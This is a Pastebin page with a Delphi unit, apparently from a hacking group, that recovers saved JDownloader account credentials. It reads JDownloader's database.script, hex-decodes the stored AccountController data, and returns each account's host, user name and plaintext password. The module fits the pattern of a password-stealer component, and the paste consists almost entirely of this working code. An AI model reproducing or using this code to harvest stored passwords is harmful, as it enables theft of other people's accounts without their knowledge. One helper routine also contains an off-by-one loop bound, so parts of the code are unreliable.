Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //******************************************************************************
- //* UNIT: UNT_JDRec
- //* AUTOR: Fakedo0r .:PD-TEAM:.
- //* FECHA: 16.05.2012
- //* CORREO: [email protected]
- //* BLOG: Sub-Soul.blogspot.com
- //* USO: JDownloaderRec
- //******************************************************************************
- unit UNT_JDRec;
- //******************************************************************************
- //DECLARACION DE LIBRERIAS / CLASES
- //******************************************************************************
- interface
- uses
- Winapi.Windows, System.SysUtils, System.Classes, Winapi.ShlObj, Vcl.Dialogs, StrUtils, RegularExpressions;
- //******************************************************************************
- //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
- //******************************************************************************
- function JDownloaderRec: String;
- function IsFileExists(sFile: String): BOOL;
- function ReadFileA(sFile: String): String;
- function GetSpecialFolderA(iCSIDL: Integer): String;
- Function RegSplitA(Pattern, sCadena: String): TStrings;
- function ByteArrayToString(bByteArray: TBytes): AnsiString;
- //******************************************************************************
- implementation
- //******************************************************************************
- //<--- RECUPERA LAS CUENTAS DE JDOWNLOADER --->
- //******************************************************************************
- function JDownloaderRec: String;
- var
- sHost: String;
- sUser: String;
- sPass: String;
- sPath: String;
- sPart: String;
- sDatos: String;
- sDecrypted: String;
- I: Integer;
- D: Integer;
- sLines: TStrings;
- begin
- I := 1;
- sPath := GetSpecialFolderA(CSIDL_PROGRAM_FILES) + '\JDownloader\config\database.script';
- if IsFileExists(sPath) = False then Exit;
- sDatos := ReadFileA(sPath);
- sPart := 'INSERT INTO CONFIG VALUES(' + Chr($27) + 'AccountController' + Chr($27) + ',' + Chr($27);
- sDatos := Copy(sDatos, AnsiPos(sPart, sDatos) + Length(sPart), Length(sDatos));
- sDatos := Copy(sDatos, 1, AnsiPos(Chr($27) + ')', sDatos) - 1);
- while I <= Length(sDatos) - 2 do
- begin
- sDecrypted := sDecrypted + Chr(StrToInt('$' + Copy(sDatos, I, 2)));
- I := I + 2;
- end;
- sLines := RegSplitA('\0', sDecrypted);
- sDecrypted := '';
- for I := 0 to sLines.Count - 1 do
- begin
- for D := 1 to 31 do
- sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(D), '', [rfReplaceAll, rfIgnoreCase]);
- sLines.Strings[i] := StringReplace(sLines.Strings[i], Chr(255), '', [rfReplaceAll, rfIgnoreCase]);
- If sLines.Strings[I] <> '' Then
- sDecrypted := sDecrypted + #13 + sLines.Strings[i];
- end;
- sLines := RegSplitA('\r', sDecrypted);
- for I := 0 to sLines.Count - 1 do
- begin
- if RightStr(sLines.Strings[I], 2) = 'sq' then
- if AnsiPos('.', sLines.Strings[I]) > 0 then
- sHost := Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 2));
- if RightStr(sLines.Strings[I], 1) = 't' then
- if RightStr(sLines.Strings[I + 1], 2) = 'xt' Then
- begin
- sPass := Trim(LeftStr(sLines.Strings[I], Length(sLines.Strings[I]) - 1));
- sUser := Trim(LeftStr(sLines.Strings[I + 1], Length(sLines.Strings[I + 1]) - 2));
- Result := Result + 'Host: ' + sHost + #13 +
- 'User: ' + sUser + #13 +
- 'Pass: ' + sPass + #13#13
- end;
- end;
- end;
- //******************************************************************************
- //<--- SPLIT [EXPRESIONES REGULARES] --->
- //******************************************************************************
- Function RegSplitA(Pattern, sCadena: String): TStrings;
- Var
- I: Integer;
- RegEx: TRegEx;
- sArrVar: TArray<String>;
- Begin
- Result := nil;
- Result := TStringList.Create;
- sArrVar := tRegEx.Split(sCadena, Pattern);
- For I := 0 To Length(sArrVar) - 1 Do
- Result.Add(sArrVar[I]);
- End;
- //******************************************************************************
- //<--- OBTIENE LAS RUTAS ESPECIALES --->
- //******************************************************************************
- function GetSpecialFolderA(iCSIDL: Integer): String;
- Var
- pszPath: PChar;
- iRet: Integer;
- tIDL: PItemIDList;
- begin
- GetMem(pszPath, MAX_PATH);
- iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
- if iRet = NOERROR then
- begin
- SHGetPathFromIDList(tIDL, pszPath);
- GetSpecialFolderA := String(pszPath);
- end;
- FreeMem(pszPath);
- end;
- //******************************************************************************
- //<--- PERMITE LEER FICHEROS --->
- //******************************************************************************
- function ReadFileA(sFile: String): String;
- var
- dwRet: DWORD;
- hFile: THandle;
- iSize: Integer;
- bRead: TBytes;
- begin
- hFile := CreateFile(PChar(sFile), GENERIC_READ, FILE_SHARE_READ, nil,
- OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
- if hFile = INVALID_HANDLE_VALUE then
- begin
- Exit;
- end;
- iSize := GetFileSize(hFile, nil);
- SetFilePointer(hFile, 0, nil, FILE_BEGIN);
- SetLength(bRead, iSize);
- ReadFile(hFile, bRead[0], iSize, dwRet, nil);
- CloseHandle(hFile);
- Result := ByteArrayToString(bRead);
- end;
- //******************************************************************************
- //<--- CONVIERTE ARRAY DE BYTES EN STRING --->
- //******************************************************************************
- function ByteArrayToString(bByteArray: TBytes): AnsiString;
- var
- i: Integer;
- begin
- SetLength(Result, Length(bByteArray));
- for i := 0 to Length(bByteArray) do
- Result[i + 1] := AnsiChar(bByteArray[i]);
- end;
- //******************************************************************************
- //<--- VERIFICA SI EL ARCHIVO EXISTE --->
- //******************************************************************************
- function IsFileExists(sFile: String): BOOL;
- var
- iRet: DWORD;
- begin
- Result:= True;
- iRet := GetFileAttributes(PChar(sFile));
- if iRet = INVALID_FILE_ATTRIBUTES then
- begin
- Result := False;
- end;
- end;
- end.
Add Comment
Please, Sign In to add comment